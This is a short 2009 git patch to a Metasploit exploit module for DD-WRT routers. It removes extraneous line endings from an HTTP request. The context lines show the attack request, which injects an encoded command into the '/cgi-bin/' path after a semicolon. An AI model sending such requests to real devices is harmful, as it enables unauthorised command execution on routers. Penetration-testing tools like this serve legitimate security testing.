From ed024f82aaa00611eb9293c6887cde253394f72b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 23 Jul 2009 11:45:32 +0000 Subject: [PATCH] Remove the extraneous \r\n (thanks Shuyao!) git-svn-id: file:///home/svn/framework3/trunk@6884 4d416f70-5f16-0410-b530-b9f4589650da --- modules/exploits/linux/http/ddwrt_cgibin_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb index 124b5237fc..5e32738ca4 100644 --- a/modules/exploits/linux/http/ddwrt_cgibin_exec.rb +++ b/modules/exploits/linux/http/ddwrt_cgibin_exec.rb @@ -67,8 +67,7 @@ class Metasploit3 < Msf::Exploit::Remote req = "GET /cgi-bin/;#{str} HTTP/1.1\r\n" + "Host: #{rhost}\r\n" + - "Content-Length: 0\r\n" + - "\r\n\r\n" + "Content-Length: 0\r\n\r\n" print_status("Sending GET request with encoded command line...") sock.put(req)